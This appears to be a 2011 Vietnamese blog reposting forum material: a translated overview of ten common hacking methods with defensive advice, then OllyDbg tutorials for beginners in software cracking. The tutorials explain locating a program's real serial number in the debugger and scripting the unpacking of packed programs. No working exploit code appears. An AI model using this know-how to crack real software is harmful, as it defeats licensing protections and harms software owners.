Wednesday 21 December 2011

[HVA] 10 cách mà hacker thường sử dụng để phá vỡ hệ thống an ninh

Link gốc: http://www.hvaonline.net/hvaonline/posts/list/37975.hva

======================================================

Dưới đây là bài viết gốc bằng tiếng Anh:
http://images.globalknowledge.com/wwwimages/whitepaperpdf/WP_Steward_Hackers.pdf

Còn tiếp theo là phần biên dịch của manthang

-----

Giới thiệu

“Hacking”, “cracking” và tội phạm công nghệ cao đã, đang và sẽ luôn là những chủ đề nóng bỏng được “giới IT” nhắc đến nhiều. Tuy nhiên, vẫn có các bước mà bạn có thể thực hiện để làm giảm những mối đe dọa và rủi ro về an ninh thông tin cho tổ chức của mình.

- Bước đầu tiên là bạn (với tư cách là người nắm giữ trọng trách đảm bảo an ninh thông tin của tổ chức) cần biết được những rủi ro (risk), mối đe dọa (threat) và lỗ hổng (vulnerability) nào đang hiện diện trong môi trường CNTT của tổ chức.

- Bước thứ hai là bạn cần tìm hiểu kỹ nhất có thể về ba vấn đề đó, đồng thời vạch ra kế hoạch phòng chống toàn diện, vững chắc.

- Bước thứ ba là bạn sẽ triển khai, áp dụng một cách thông minh, linh hoạt những biện pháp đối phó và phòng vệ mà bạn đã lựa chọn ở trên để dựng nên một hệ thống bảo vệ quanh những “tài sản thông tin” tối quan trọng của bạn.

Bài viết này sẽ tập trung vào tìm hiểu về mười phương thức phổ biến mà các hacker sử dụng để phá vỡ hệ thống an ninh hiện tại của bạn (đây chính là bước một trong ba bước đảm bảo an ninh thông tin cho tổ chức ở trên).

1. Đánh cắp mật khẩu

Từ nhiều năm nay, vấn đề an toàn mật khẩu (password security) luôn được các chuyên gia bảo mật đem ra thảo luận. Nhưng dường như chỉ có số ít người dùng là lắng nghe và làm theo các khuyến cáo về cách tạo và quản lý mật khẩu sao cho an toàn.

Nếu môi trường CNTT của bạn chỉ sử dụng mật khẩu để kiểm soát việc chứng thực thì đây thực sự là một rủi ro lớn khi mà hacker có thể sử dụng các công cụ “password cracking” để dò tìm ra mật khẩu và nhờ đó xâm nhập vào hệ thống CNTT của bạn.

Giải pháp tốt hơn cho vấn đề này là (nếu có thể) bạn nên sử dụng một vài hình thức “multi-factor authentication” (chứng thực sử dụng nhiều yếu tố).

Vấn đề ở đây là sức mạnh tính toán của các máy tính ngày này ngày càng tăng. Chúng có khả năng xử lý một lượng lớn dữ liệu chỉ trong một khoảng thời gian ngắn.
Một “password” chỉ là một chuỗi các ký tự (có trên bàn phím) mà một người cần ghi nhớ và cung cấp cho máy tính khi cần thiết (như để đăng nhập vào máy tính, truy cập tài nguyên trên mạng…).

Thật không may, các mật khẩu mà quá phức tạp để ghi nhớ đối với con người thì lại dễ dàng bị dò ra bởi các công cụ “pasword cracking” trong một khoảng thời gian ngắn đến kinh ngạc. Các kiểu tấn công như “dictionary attack”, “brute fore attack” và “hybrid attack” thường được sử dụng để đoán và bẻ khóa mật khẩu.

Phương thức bảo vệ duy nhất chống lại những “threat” như vậy là tạo ra các mật khẩu mạnh - “strong password” (độ dài của mật khẩu thường từ 8 ký tự trở lên, trong đó bao gồm cả chữ cái in thường/in hoa, chữ số, ký tự đặc biệt) và sử dụng thêm các yếu tố khác (vân tay, smart card, võng mạc mắt,…) cho việc chứng thực.

Nhưng ngay cả khi người ta có thể nhớ được các “strong password” (tất nhiên độ phức tạp của “password” này cần ở mức vừa phải) như dài từ 12 đến 16 ký tự, thì vẫn còn các vấn đề khác mà các hệ thống chứng thực chỉ dựa vào “password” phải đối mặt, bao gồm:

• Mọi người có thói quen sử dụng cùng một “password” cho nhiều tài khoản, đặc biệt là các tài khoản ở các Website kém bảo mật trên Internet.

• Mọi người thường ghi các “password” của họ xuống đâu đó (như mẩu giấy, tập tin trên máy tính…) và cất giấu chúng ở những nơi không an toàn (như ngăn kéo bàn, tập tin không được mã hóa (clear text)…). Lời khuyên trong trường hợp này là bạn nên định kỳ đổi các “password” của mình.

• Sử dụng các giao thức không an toàn kém an toàn (insecure protocol) như HTTP (web service), SMTP/POP3/IMAP (mail service), FTP (file transfer)… để truyền đi các “password” dưới dạng “clear text”.

• Các phần mềm ghi nhận lại các thao tác gõ phím (keylogger) cũng là một “threat” đáng lo ngại khi chúng sẽ âm thầm gửi các “password” thu thập được cho hacker.

• Kẻ xấu có thể nhìn trộm bạn gõ “password” từ đằng sau hoặc đặt camera giám sát việc sử dụng máy tính của bạn.

Các hành vi đánh cắp, bẻ khóa, đoán “password” thì vẫn còn là những “threat” đáng lo ngại đối với môi trường CNTT của bất kỳ tổ chức nào. Cách bảo vệ tốt nhất để chống lại những “threat” này là triển khai các hệ thống “multi-factor authentication” và chỉ dẫn người dùng hình thành thói quen quản lý mật khẩu sao cho an toàn.

2. Trojan Horse

Trojan horse (thường gọi tắt là trojan) là mối đe dọa tiếp theo cho bất cứ môi trường CNTT nào. Về cơ bản, trojan là một chương trình độc hại được bí mật cài vào máy tính của người dùng.

Chắc hẳn bạn cũng đã nghe qua về một số trojan nổi tiếng như Back Orifice, NetBus, SubSeven... Nhưng mối đe dọa thực sự của trojan lại nằm ở chỗ chúng có thể được xây dựng bởi bất kỳ ai với những kỹ năng cơ bản về máy tính.

Thường thì trojan được tạo nên bằng cách kết hợp “payload” (đoạn mã độc hại) với các phần mềm hợp pháp khác và có rất nhiều cách thức cũng như công cụ để làm điều này. Vì vậy, sự nguy hiểm từ những cuộc tấn công sử dụng trojan là không thể lường trước được.

Các mã độc có trong trojan có thể làm nhiều chuyện như: phá hủy dữ liệu, sửa đổi nội dung tập tin, ghi lại thao tác gõ phím, giám sát lưu lượng mạng, theo dõi hoạt động truy cập Web, sao chép e-mail và dữ liệu nhạy cảm rồi gửi về cho hacker, cho phép hacker truy cập và điều khiển máy tính của nạn nhân từ xa, sử dụng máy tính của nạn nhân để phát động các cuộc tấn công chống lại các mục tiêu khác, cài các chương trình “proxy server”,…

Các hacker có thể tải về các “payload” sẵn có từ Internet hoặc nếu có khả năng hacker có thể tự viết ra các “payload” riêng cho mình. Sau đó, “payload” này sẽ được nhúng (đính kèm/kết hợp) vào trong bất kỳ phần mềm hợp pháp nào (như anti-virus, media player, office suite, game, screen saver, admin utilities, và thậm chí là các loại tài liệu …) để tạo thành trojan.

Để tấn công sử dụng trojan được thành công thì yêu cầu duy nhất là người dùng thực thi thành công “host program” (chương trình được tạo nên bởi “payload” kết hợp với phần mềm hợp pháp). Một khi điều này được hoàn tất, “payload” cũng sẽ tự động được khởi chạy và thường người dùng khó mà nhận thấy được các biểu hiện bất thường của máy tính do hoạt động của trojan tạo ra.

Trojan có thể được cài lên máy tính của nạn nhân thông qua việc người dùng tải về các tập tin được đính kèm theo e-mail, các tập tin từ các Website, hoặc được chứa trong các thiết bị lưu trữ di động (thẻ nhớ, CD/DVD, ổ USB, ổ đĩa mềm….). Trong bất cứ trường hợp nào, bạn nên sử dụng các công cụ phòng chống mã độc (anti-malware) và hơn hết là giáo dục ý thức sử dụng máy tính và Internet của người dùng.

3. Khai thác các thiết lập mặc định

Việc hệ thống mục tiêu (target) sử dụng các cấu hình được thiết lập mặc định bởi nhà sản xuất thiết bị phần cứng/phần mềm làm cho việc tấn công vào “target” đó trở nên dễ dàng hơn bao giờ hết.

Nhiều công cụ tấn công và các mã khai thác giả định rằng “target” đang sử dụng các thiết lập mặc định (default setting). Vì vậy, một trong các phương án phòng ngừa hiệu quả và không thể bỏ qua là đơn giản thay đổi các “default setting” này.

Các rất nhiều dạng “default setting” như: username, password, access code, path name, folder name, component, service, configuration, setting… Nhiệm vụ của bạn là cần biết tất cả các “default setting” của các sản phẩm phần cứng/phần mềm mà bạn đã (hoặc sắp) triển khai và cố gắng thay đổi các “default” đó thành các thiết lập khác bí mật hơn.

Bạn có thể xem trong tài liệu đi kèm với sản phẩm/dịch vụ hoặc tìm kiếm trên Internet để biết được hệ thống của bạn có những “default setting” nào.


Về vấn đề này thì manthang xin lấy một ví dụ sau: “default setting” mà cho phép hacker có thể truy cập và quản lý thiết bị router (giả sử có tên model là ABC-123) của nạn nhân từ xa (có thể thông qua HTTP, Telnet, SSH…) là username/password mặc định của “tài khoản admin”.

Hacker có thể tìm kiếm trên Internet với từ khóa “default password + ABC-123” là có thể dễ dàng biết được thông tin “default” mà một số người dùng thường quên đổi đi này. 


Bạn nên cân nhắc việc điều chỉnh lại các lựa chọn “default” khi có thể. Cố gắng tránh cài đặt hệ điều hành lên các ổ đĩa và thư mục mặc định. Đừng cài đặt các ứng dụng, phần mềm tới các vị trí “chuẩn” của chúng. Đừng chấp nhận trên các thư mục được đưa ra bởi trình cài đặt. Bạn điều chỉnh càng nhiều các “default setting” thì hệ thống của bạn sẽ trở nên “khó tương thích” hơn với các công cụ mà mã khai thác của hacker (đồng nghĩa với việc hacker cần nhiều nỗ lực hơn để tấn công vào “target”).

4. Tấn công Man-in-the-Middle (MITM)

Nhiều người trong số chúng ta có thể đã là mục tiêu của các cuộc tấn công MITM. MITM xảy ra khi attacker bằng cách nào lừa gạt máy user thiết lập một kênh liên lạc với một máy server hoặc dịch vụ nào đó xuyên qua một “rogue entity”.

Ở đây, rogue entity chính là hệ thống do hacker điều khiển. Nó được dựng lên để chặn đứng việc liên lạc giữa user và server mà không để cho user nhận thấy được rằng tấn công đang diễn ra.

Bàn thêm


Trong tấn công kiểu MITM, hacker đảm nhận việc trung chuyển luồng thông tin giữa user và server. Và user vẫn truyền thông với server bình thường nhưng toàn bộ thông tin trao đổi qua lại đều bị máy hacker tóm được.

Để thực hiện thành công MITM thì hacker phải bằng cách nào đó đánh lừa được user chuyển hướng luồng thông tin tới rogue entity do hacker điều khiển. Ttức là thay vì gửi trực tiếp gói tin tới server thì user lại gửi tới rogue entity và sau đó rogue entity sao chép lại gói tin đó trước khi chuyển cho server.

MITM có thể đơn giản như kiểu tấn công “phishing e-mail” (sử dụng e-mail để lừa đảo) mà trong đó hacker gửi cho user một e-mail có chứa một URL dẫn tới rogue entity thay vì trang web thực sự mà user muốn tới. Rogue entity có giao diện trông giống như của trang web thực nhằm đánh lừa user cung cấp các thông tin đăng nhập (credential).

Sau đó, credential này được hacker sao chép lại trước khi chuyển cho website thực sự mà user cần liên lạc. Sau hành động đáng tiếc trên thì user vẫn kết nối thành công với website, nhưng không biết được truyền thông giữa họ và website đã bị hacker nghe trộm được và hacker có thể bóp méo nội dung của cuộc “nói chuyện” này (khiến cho user và website nhận về những thông tin sai lệch). 


MITM cũng có thể được thực hiện bằng cách sử dụng các phương thức phức tạp hơn như ARP poisoning, router table poisoning, DNS query poisoning, DNS hijacking, rogue DNS server, HOSTS file alteration, local DNS cache poisoning, proxy re-routing… Và những phương thức này không hề dính dáng đến vấn đề mã hóa hoặc các thủ thuật dùng để ẩn dấu đi các đường link độc hại (URL Obfuscation).

Để tự bảo vệ bản thân trước các cuộc tấn công kiểu MITM, bạn cần tránh nhấn vào các URL lạ có trong các e-mail. Bạn cũng nên luôn xác minh các URL đó trỏ tới các trang web có domain đáng tin cậy hoặc có sử dụng SSL certificate còn hiệu lực hay không. Ngoài ra, nếu có thể bạn nên triển khai các hệ thống H-IDS/N-IDS để giám sát các lưu lượng mạng cũng như những thay đổi trên hệ thống cục bộ của bạn (như HOSTS file, ARP cache, routing table, DNS cache…).

5. Tấn công các mạng không dây

Các mạng không dây (wireless network) hấp dẫn người dùng hơn mạng có dây (wired) ở tính tiện dụng và linh hoạt của nó. Ngoài ra, triển khai các mạng không dây thì khá rẻ và cũng dễ dàng cài đặt.

Nhưng bên cạnh những lợi ích đó thì mạng không dây cũng bộc lộ những nguy cơ mà làm tiêu tốn không ít thời gian, nỗ lực và chi phí để giữ an toàn cho chúng. Jamming (gây nhiễu tín hiệu), DoS, Hijacking, MiTM, Sniffing (nghe trộm),… và nhiều kiểu tấn công khác mà hacker có thể sử dụng để quậy phá các mạng không dây.

Đó là chưa kể tới các vấn đề về tốc độ, phạm vi phủ sóng bị hạn chế của từng chuẩn mạng không dây. Tuy nhiên, ngay cả khi tổ chức của bạn không chính thức chấp thuận việc triển khai một mạng không dây thì bạn vẫn còn một số vấn đề mà bạn cần quan tâm.

Ví dụ, nhiều tổ chức đã phát hiện ra rằng các nhân viên đã bí mật tự ý thiết lập mạng không dây của riêng họ bằng cách mang vào tổ chức thiết bị WAP (wireless access point), và cắm cáp mạng mà tổ chức cấp xuống cho các phòng ban vào WAP, sau đó họ kết nối laptop/desktop của mình tới WAP bằng cáp mạng hoặc sóng radio.

Điều này bổ sung thêm tùy chọn kết nối không dây, thông qua WAP, tới mạng nội bộ của tổ chức. Như thế, mức độ rủi ro mà tổ chức có thể phải gánh chịu do bị hacker tấn công (sử dụng các kỹ thuật ở trên) sẽ càng tăng cao khi các nhân viên này triển khai WAP với chuẩn bảo mật yếu (như WEP) hoặc thậm chí không hề sử dụng cơ chế bảo mật nào cho mạng không dây.

Vì vậy, một thiết bị WAP có giá 50 USD có thể dễ dàng tạo ra các rủi ro cho một mạng có dây trị giá hàng triệu đô la được bảo vệ kỹ càng.

Để ngăn chặn với các WAP không được phê duyệt để triển khai này, cần thực hiện một cuộc khảo sát định kỳ khu vực hoạt động của tổ chức bằng cách sử dụng các các công cụ giúp phát hiện các mạng không dây như NetStumbler hoặc với một thiết bị cầm tay chuyên dụng.

6. Do thám hệ thống mục tiêu

Các hacker, đặc biệt là các external hacker (kẻ tấn công không phải là người trong nội bộ tổ chức) biết cách làm sao để vượt qua các hàng rào an ninh bằng cách tìm kiếm, thu thập các thông tin về tổ chức và hệ thống CNTT của bạn. Quá trình này được gọi là reconnaissance (do thám), hoặc footprinting. Sau cùng, hacker tập trung vào nghiên cứu tất cả thông tin hiện có về tổ chức của bạn từ các nguồn được phát tán rộng rãi (public) và các tài nguyên lưu hành nội bộ (non-public).

Nếu có tìm hiểu về binh pháp, bạn sẽ ý thức được rằng vũ khí quan trọng nhất mà bạn có chính là thông tin. Hacker biết rõ điều này và dùng nhiều thì giờ và sức lực để có được “kho vũ khí” đầy đủ nhất. Trớ trêu thay là nhiều tổ chức vẫn còn để lộ và dâng nộp “vũ khí thông tin” của mình vào “kho đạn” của hacker.

Tình trạng rò rỉ và thất thoát dữ liệu đang diễn ra ở công ty, họ thoải mái cung cấp nhiều thông tin mà có thể được sử dụng trong nhiều kiểu tấn công vào hệ thống của họ. Dưới đây là một vài ví dụ về những thông tin về tổ chức của bạn mà hacker có thể biết được:

_ Việc đăng ký tên miền yêu cầu cung cấp địa chỉ, số điện thoại, email…. của chủ sở hữu tên miền đó.

_ Thông qua DNS lookup và traceroute sẽ biết được thông tin về ISP của bạn.

_Thông tin về các nhân viên như địa chỉ, số điện thoại, lịch sử công tác,…

_Các hệ điều hành, các chương trình quan trọng, các ngôn ngữ lập trình, các thiết bị mạng, những nền tảng và dịch vụ… mà tổ chức đang sử dụng.

_Các điểm yếu, điểm mạnh, lối vào, các đường truy cập bí mật… và nhiều thông tin quan trọng khác về hệ thống của bạn.

_ Sử dụng kỹ thuật Google hacking để tìm được các tài liệu mật được lưu trữ trên máy chủ Web của tổ chức.

v.v...

Như bạn thấy, có rất nhiều thông tin mà một hacker có thể có được từ các nguồn mở, công cộng và danh sách ở trên chưa thể liệt kê hết các thông tin này. Một hacker thường bỏ ra khoảng 90% thời gian cho các hoạt động thu thập thông tin vì càng hiểu rõ về mục tiêu thì khả năng tấn công thành công càng cao. 


--- Còn tiếp -----

Tuesday 20 December 2011

[HVA] Sử dụng OllyDBG cơ bản!

OllyDBG hiện giờ đang được sử dụng rất phổ biến nhờ giao thân thiện của nó. Tôi mạn phép post mấy bài hướng dẫn của các pác QHQCrker; benina; kienmanowar bên realonline. Mong các pác cùng thảo luận!

Sử dụng OllyDBG, ## Cơ bản ##
Copyright by Moonbaby - REA.fareastking.com


I - Giới thiệu :

- Ollydbg hay gọi tắt là Olly, là một chương trình DEBUGGER dễ sử dụng, trực quan . Thích ứng cho mọi cấp độ CrackEr khác nhau.
- Có thể nói Olly bao hàm rất nhiều tính năng mà nếu sử dụng riêng lẻ ta phải cần đến nhiều chương trình kết hợp lại . Hiện nay Olly đã có Version 1.0
- Phần hướng dẫn sử dụng Olly này bao gồm ba phần :
*** Phần I : Cài đặt và cấu hình Olly
*** Khần II : Tổng quan về Olly
*** Phần III : Sử dụng Olly

II – Cài đặt và cấu hình Olly

- Olly không cần cài đặt, khi load về ta chỉ việc bung nén vào trong một thư mục là đã có thể sử dụng Olly. Tuy nhiên, để có thể sử dụng thêm một số chức năng của Olly ta cần phải cấu hình thêm và tìm thêm một số Plugins được viết riêng cho chương trình.
- Bạn có thể load Olly từ trang chủ http://home.t-online.de/home/Ollydbg hay từ http://moonbaby.envy.nu/002-tools/olly với các Plugin và cấu hình định sẵn.
- Sau khi Unzip Olly vào thư mục ( chẳng hạn OllyDbg ) bạn sẽ thấy có một thư mục định sẵn Plugins, bạn cần tạo thêm một thư mục nữa là Udd. Đồng thời nếu bạn tải Olly về từ trang chủ sẽ không có file ollydbg.ini ( file này lưu giữ cấu hình của Olly ), nhưng khi bạn chạy Olly lần đầu tiên thì chương trình sẽ tạo file này cho bạn.
- Khởi động Olly lên, bạn chọn Options --> Appearance --> Directories. Ở đây bạn sẽ thấy hai đường dẫn là Udd Path và Plugin Path, bạn hãy chọn đường dẫn về thư mục của Olly. Sau đó chương trình yêu cầu bạn khỏi động lại để chập nhận chỉnh sửa.
- Sau khi khởi động lại bạn sẽ nhìn thấy trên thanh công cụ chính của Olly xuất hiện thêm một mục mới Plugins.
- Khi bạn tải Olly từ trang web http://moonbaby.envy.nu/002-tools/olly, trong này đã có sẵn file ollydbg.ini, một số Plugins cần thiết và đã được cấu hình sẵn cho bạn các số thông số về màu sắc, màu nền cũng như một số các tuỳ chọn khác. Khi bạn tải Olly về từ trang chủ thì khi khởi động chương trình màu sắc của Olly sẽ trông không được đẹp. Để chỉnh sửa mà sắc bạn chọn Options --> Appearance, trong cửa sổ này bạn vào từng mục và chọn màu sắc, font và kích thước chữ, màu nền, màu highline ..... Sau đó khởi động lại Olly để kích hoạt thay đổi.
- Khi đã quen thuộc với Olly, bạn nên vào phần HELP để tìm hiểu thêm và cấu hình Olly theo ý của bạn. Song nếu bạn mới bắt đầu sử dụng Olly, tôi khuyên bạn nên sử dụng cấu hình định sẵn khi bạn tải về từ http://moonbaby.envy.nu/002-tools/olly

III – Tổng quan về Olly :

Olly có thể chia thành 5 cửa sổ chính . Để chuyển đổi qua lại giữa các cửa sổ này ta dùng phím TAB. Và phím Shift-TAB sẽ chuyển về cửa sổ trước đó.

III.1 - CPU :

- Hầu hết thời gian chúng ta tập trung vào đây. Cửa sổ này chia làm 4 ô nhỏ. Ta xét từ trái sang phải :
** Ô thứ nhất : Hiển thị địa chỉ của code. Khi ta double-click vào nó thì ngay dòng chúng ta double-click vào sẽ đổi thành “ $ == > “, bên trên nó sẽ là “ $ - x “ và bên dưới sẽ là “ $ + x “. Các giá trị “ x “ này chính là số byte của câu lệnh.
** Ô thứ hai : chính là mã lệnh. Khi ta double-click vào nó thì có nghĩa ta đặt BreakPoint tại đó. Và khi double-click lần nữa thì xoá bỏ điểm đặt BreakPoint này.
** Ô thứ ba : code Assembler. Đây là ô rất quan trọng trong suốt quá trình trace code. Khi ta double-click vào nó thì sẽ hiện lên ô “Assemble at XXXXXXXX”, chúng ta có thể sửa code của chương trình thông qua ô này.
** Ô thứ tư : hiển thị thông tin của chương trình. Chúng ta sử dụng ô này để tìm các chuỗi đặt biệt. Và khi chúng ta chuyển sang cửa sổ “Text String reference” thì mọi thông tin của cửa sổ này chính là thông tin của ô này. Khi ta double-click vào nó thì sẽ hiện lên ô “ Add comment at XXXXXXXX” cho chúng ta ghi chú lại thông tin, chú giải cần thiết để sử dụng cho lần sau.

III.2 - Registers [FPU, MMX, 3DNow!] :

- Cửa sổ thứ hai nằm bên phải cửa sổ thứ nhất.
- Hiển thị các thanh ghi và cờ trong Assembly. Cửa sổ này cần thiết để chúng ta theo dõi sự thay đổi giá trị của các thanh ghi, các lệnh toán học ….

III.3 - Cửa số thứ ba :

- Cửa sổ nhỏ nằm ngay bên dưới của sổ thứ nhất.
- Thông báo cho ta biết địa chỉ thực, giá trị tính toán, ... trước khi đưa vào hiển thị ở Cửa Sổ Thứ Hai.
- Trong cửa sổ này, khi ta right click vào một dòng thì có thể xuất hiện cửa sổ phụ với các tùy chọn ( tối đa là 4 tuỳ chọn ) Modify data, Follow address in Dump, Follow value inDump và Appearance.
- Tuy nhiên phải ghi nhớ một điều, thông số xuất hiện trong cửa sổ này là giá trị của dòng lệnh trong cửa sổ thứ nhất khi ta trace tới. Còn khi ta dò thì không xuất hiện thông số trong cửa sổ này
*** Modify data : khi chọn mục này sẽ xuất hiện cửa sổ Modify dWord at XXXXX với ba giá trị là Hexadecimal, Signed và Unsigned. Ưu điểm của của sổ này là trong một số trường hợp ta có thể xem được số SERIAL thực của chương trình.
*** Follow address in Dump : Chuyển cửa sổ thứ tư đến địa chỉ mà ta chọn. Rất cần thiết khi ta cần xem xét giá trị của chương trình được lưu tại địa chỉ này
*** Follow value inDump : Chuyền cửa sổ thứ tư đến giá trị của địa chỉ mà ta chọn.
*** Appearance : thông báo về các tùy chọn trong Options --> Appearance .

III.4 - Address, Hex dump, ASCII hay UNICODE

- Cửa sổ thứ tứ nằm bên dưới cửa sổ thứ ba .
- Cần thiết để ta quan sát sự thay đổi các giá trị tính toán của chương trình.
- Trong một vài trường hợp ta có thể tìm thấy chuỗi SERIAL ở đây.

III.5 - STACK

- Cửa sổ thứ năm nằm bên dưới của sổ thứ hai và ngay bên phải cửa sổ thứ ba.
- Đây là bộ nhớ tạm của chương trình.
- Các thông số của một hàm trước khi xử lý sẽ được lưu tạm vào trong STACK này. Theo dõi chặt chẽ sự thay đổi các vùng nhớ và giá trị của cửa sổ này sẽ giúp ích rất nhiều trong quá trình tìm ra chuỗi SERIAl thực.

---------------------------------------------------------




INSTALL, RUN AND WRITE A SCRIPT IN OLLDG

Thưa các bạn. Đặc biệt cho Newbie.
Như các bạn thấy đó, khi chúng ta học crack , đa số các phần mềm bây giờ thường được pack bằng một packer nào đó . Nhưng chúng ta là newbie thì ko biết UNPACK như thế nào. Thường thì chúng ta tìm một unpacker để unpack . Nếu ko có thì chúng ta phải học các TUT MUP , còn gọi là các tut unpack ‘bằng tay’ rồi thực hành theo để unpack các phần mềm chúng ta muốn crack. Các tut MUP dạy cho chúng ta các bước sau:
-Find OEP
-Dump chương trình trong bộ nhớ bắt đầu tại OEP vừa tìm được ra 1 file
-Fix IAT
-Sau đó là Rebuild PE.
(OEP,IAT,PE... là gì hôm nào rãnh tui tổng hợp cho các bạn)
Thường thường đối với một lọai packer, chúng ta tìm OEP giống nhau cho các chương trình bị pack bằng packer đó. Khi các bạn biết cách tìm OEP rồi thì công việc này thật nhàm chán. Vì nó chỉ là các thao tác lập lại mỗi khi chúng ta muốn unpack lọai packer đó. Vì vậy để không phải mỗi lần chúng ta unpack là phải đem TUT MUP ra đọc, rồi thao tác y chang như vậy để tìm OEP , các cracker đã dùng ngôn ngữ Script trong Olly để “viết các thao tác nhàm chán” đó lưu lại thành một file script . Khi unpack bạn chỉ cần chạy file đó là Olly sẽ tự động tìm cho bạn OEP. Khỏe re phải không bạn. Hi`
Một trong những tay cracker của VN viết rất nhiều các script là lão hacnho. Các bạn hảy vào website của lão ta mà tìm các script nhé: http://www.reaonline.net/forum/links.php?url=http://www.hacnho.nhandan.info
Mục đích của TUT này là giúp các bạn newbie chạy được một file script và làm quen với ngôn ngữ script để hiểu được những gì các tác giả viết trong file script. Không khó lắm đâu các bạn. Chúng ta học từ từ rồi sẽ biết thôi mà. 


1.CÀI ĐẶT OLLYDBGSCRIPT VÀ CHẠY MỘT FILE SCRIPT:

Cài đặt OllyScript theo các bước sau:
1. Đầu tiên bạn phải có OllyDbg đã được cài đặt sẳn.( Điều này là tất nhiên rồi)
2. Cài đặt 1 thư mục có tên là “plugins” trong thư mục chứa OllyDbg trên máy bạn.
3. Bạn download file ollyscript.dll trên mạng về và copy nó vào thư mục “plugins” đã tạo ở trên
4. Mở OllDbg lên , vào menu options , chọn Appearance/Directories. Một dialog pops up ra
5. Trong dialog vừa bật lên ta set “Plugin path” đến thư mục “Plugins” đã tạo ra ở trên.
6. Restart OllyDbg. Bây giờ OllyScript đã có trong menu Plugins .
7. Để chạy một script , ta chọn “Run script…” trong menu Plugins/OllyScript và chọn file script và bạn muốn run.

2.GIỚI THIỆU VỀ NGÔN NGỮ SCRIPT:

Để viết các file script các bạn ko cần một chương trình sọan thảo riêng nào cả , chỉ cần sọan thảo trong Notepad là được và lưu ra file có đuôi .txt hay gì cũng được, thỏai mái như “lai cái” hi`hi`.
Bây giờ tui giới thiệu với các bạn cái ngôn ngữ script đơn giản này như đang giởn này:
Tui xài Olly 1.10 và Plugins v0.91. Các bạn hảy vào trang web Olly tải về nhé.
Đầu tiên tui xin giới thiệu về cái menu của nó

a-Menus:

Bạn vào menu Plugins của Olly, chọn OllyScript, ta thấy các menu con như sau:
-Run script…: Cho người sử dụng chọn một file script và chạy nó.
-Abort : bỏ qua khi ko muốn script chạy tiếp
-Pause: Tạm ngừng script khi nó đang chạy
-Resume: Chạy tiếp khi script bị paused
-about: Thông tin về plugin này
Bây giờ chúng ta vào mục chính nhé:

b-Về Ngôn ngữ OllyScript:

Ngôn ngữ script trong olly tương tự về mặt ngôn ngữ như ngôn ngữ ASM. Nhưng khác ở chổ nó ko cần phải biên dịch ra một file .exe , mà thực chất nó là một ngôn ngữ thông dịch trong Olly. Nếu các bạn nào biết dùng ngôn ngữ Lisp trong AutoCAD thì Script cũng tương tự như vậy trong Olly. Tại sao tui nói nó là ngôn ngữ thông dịch chứ ko phải biên dịch, vì khi Olly khi run 1 script thì gặp lệnh nào là thực hiện ngay lệnh đó, chứ ko phải biên dịch hết file script rồi mới chạy. Các bạn nên có khái niệm về vấn đề này.

i/Qui ước dữ liệu:

Đây cũng chính là Rule của OllyScript
Sau đây là một số quy ước của script về dữ liệu src (nguồn) và dest (đích) cho các lệnh (như lệnh “MOV dest,src” chẳng hạn):
-Constant ( Hằng số): giống như ASM là 1 số hex, nhưng trong script không có những ký hiệu trước hay sau số hex.
Ví dụ:
Trong script , một số hex được viết là 00FF chứ ko phải 0x00FF hay 00FFh
-Variable (Biến): Giống như Pascal, biến được mô tả sau từ khóa VAR nhưng ko cần khai báo lọai biến vì chỉ có 1 lọai biến là số hex.
-Chỉ có một lọai thanh ghi 32-bit trong script như : EAX,EBX, ECX, EDX, ESI, EDI, EBP, ESP, EIP. Không có thanh ghi 16-bit như AX , hay 8-bit như AL. Nhưng bạn có thể dùng lệnh SHL/SHR và AND để lấy giá trị của chúng.
-Tham chiếu đến một vùng nhớ nào đó ta cho địa chỉ nhớ nằm trong 2 dấu […. ]
Ví dụ:
[401000] : trỏ đến vùng nhớ tại địa chỉ 401000
[ecx] : trỏ đến vùng nhớ tại địa chỉ ecx
-Để dùng Flag (cờ) trong Script ta dùng dấu cảm thán “!” trước tên flag
Ví dụ: !CF, !PF, !AF, !ZF, !SF, !DF, !OF
-Byte string (chuổi byte, mỗi 1 byte là 2 số hex) để được script hiểu nó phải đặt trong 2 dấu thăng # và chuổi byte phải là số chẳn các số hex giữa 2 dấu # (2 số hex cho 1 byte nên lúc nào cũng phải chẳn)
Ví dụ: #6A0000# (có 6 số là số chẳn chứa trong 2 dấu #)
-Hay hơn nữa là byte string có chứa wildcard là dấu “?”.
Ví dụ: #6A??00# hay #6?0000#
-Chuổi ký tự trong Script được viết giữ 2 dấu “…..”
Ví dụ: chuổi ký tự benina là “benina”
-Đối với một số lệnh,để lấy giá trị của một biến ta đặt biến đó trong {..}
Ví dụ:
Var x
Mov x,”00402222”
Mov eax,{x}======== >>eax=00402222
ii/Các biến riêng của Script:

Quote:
$RESULT
Đây là giá trị trả về của vài chức năng giống như chức năng FIND….

$VERSION

Biến này chứa version hiện hành của OllyScript
Ví dụ:
cmp $VERSION, "0.8"
ja version_above_08


iii/Comments (Ghi chú thích khi viết script):
Bất cứ khi nào tui muốn học một ngôn ngữ mới , việc đầu tiên tui phải học là cách comment trong ngôn ngữ đó. Vì khi ta tiến hành viết lệnh, nếu ko ghi chú thích đầy đủ, chừng nữa tiếng sau…. , tui ko biết tui đã viết gì…. tui ngu bẩm sinh mà. Vì vậy tui sẽ giới thiệu với các bạn cách comment trong script như sau:
- Comment cho 1 dòng lệnh ta dùng “//” trước lời chú thích
- Comment một cụm lời chú thích ta đặt “/*” đầu cụm và “*/” cuối cụm chú thích

iv-Skeleton script (Nhân của một script):

Như các bạn biết khi học pascal, một chương trình pascal chuẩn như sau:


Quote:
Program tenchuongtrinh
Khai báo biến, hằng, ….
Begin
Các lệnh;
End.



Cái đó chính là nhân của một chương trình pascal. Vậy nhân của script như thế nào?.Thực ra trong OllyScript ko qui định về nhân, nhưng để qui định chung khi “thuở ban đầu mới yêu nhau” , benina xin đề xuất một cái nhân như sau:


Quote:
/*=================
Tên Script
==================*/
Khai báo biến, includes …(Không bắt buộc)
Các lệnh Script
……………
…………..
RET // Exits script



Thực chất ra các dòng comment về tên script ko cần thiết, nhưng chúng ta hảy tập thói wen này để sau này dễ tra cứu script này làm gì.
Ở đây chúng ta thấy lệnh RET ở cuối file. Nó chính là lệnh thóat khỏi script trở về Olly. Nó cũng tương tự như lệnh End trong Pascal thôi.


v-Chương trình đầu tiên của bạn:
Để cho đỡ buồn chán bây giờ tui sẽ hướng dẫn các bạn làm một file script đơn giản:
Các bạn hảy bật Notepad lên và sọan thảo một file .txt như sau:


Quote:
/*///////////////////////////////////
Chuong tinh dau tien cua ban
/////////////////////////////////////*/
MSG “benina is a good newbie” // hiện hộp thọai
RET // exits script



